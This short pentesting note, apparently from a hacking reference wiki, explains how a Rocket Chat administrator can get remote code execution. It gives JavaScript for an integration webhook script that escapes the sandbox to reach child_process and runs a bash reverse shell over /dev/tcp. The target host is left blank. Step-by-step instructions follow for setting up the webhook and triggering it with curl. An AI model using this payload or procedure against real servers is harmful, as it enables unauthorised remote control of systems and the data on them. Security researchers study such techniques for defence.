Rocket Chat


If you are admin inside Rocket Chat you can get RCE.
  • Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.
    • /admin/integrations/incoming
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/ 0>&1'")
  • Configure the WebHook (the channel and post as username must exists):
  • Configure WebHook script:
  • Save changes
  • Get the generated WebHook URL:
  • Call it with curl and you shuold receive the rev shell